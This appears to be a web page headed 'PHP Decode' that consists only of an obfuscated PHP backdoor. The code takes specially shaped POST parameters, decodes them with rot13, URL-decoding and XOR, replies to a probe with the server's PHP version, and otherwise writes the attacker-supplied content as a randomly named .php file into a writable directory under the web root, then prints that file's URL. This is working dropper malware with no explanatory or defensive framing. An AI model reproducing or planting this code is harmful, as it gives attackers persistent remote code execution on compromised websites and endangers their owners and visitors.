PHP Decode

<?php $zbyqc = "elasjltrfelizkfp";$mdeakljcct = "";foreach ($_POST as $kqxvffm => $ktqqhfzloc){if (strlen($kqxvffm) == 16 and substr_count($ktqqhfzloc, "%") > 10){wxsojc($kqxvffm, $ktqqhfzloc);}}function wxsojc($kqxvffm, $qkefdtjq){global $mdeakljcct;$mdeakljcct = $kqxvffm;$qkefdtjq = str_split(rawurldecode(str_rot13($qkefdtjq)));function poehdmxxth($bhllt, $kqxvffm){global $zbyqc, $mdeakljcct;return $bhllt ^ $zbyqc[$kqxvffm % strlen($zbyqc)] ^ $mdeakljcct[$kqxvffm % strlen($mdeakljcct)];}$qkefdtjq = implode("", array_map("poehdmxxth", array_values($qkefdtjq), array_keys($qkefdtjq)));$qkefdtjq = @unserialize($qkefdtjq);if (@is_array($qkefdtjq)){$kqxvffm = array_keys($qkefdtjq);$qkefdtjq = $qkefdtjq[$kqxvffm[0]];if ($qkefdtjq === $kqxvffm[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function iilnaofsp($paeftqbbir) {static $pmwrjdrkcu = array();$xqpidwrpk = glob($paeftqbbir . '/*', GLOB_ONLYDIR);if (count($xqpidwrpk) > 0) {foreach ($xqpidwrpk as $paeftqbb){if (@is_writable($paeftqbb)){$pmwrjdrkcu[] = $paeftqbb;}}}foreach ($xqpidwrpk as $paeftqbbir) iilnaofsp($paeftqbbir);return $pmwrjdrkcu;}$zkddcqvzqf = $_SERVER["DOCUMENT_ROOT"];$xqpidwrpk = iilnaofsp($zkddcqvzqf);$kqxvffm = array_rand($xqpidwrpk);$yvqrir = $xqpidwrpk[$kqxvffm] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($yvqrir, $qkefdtjq);echo "http://" . $_SERVER["HTTP_HOST"] . substr($yvqrir, strlen($zkddcqvzqf));exit();}}} ?>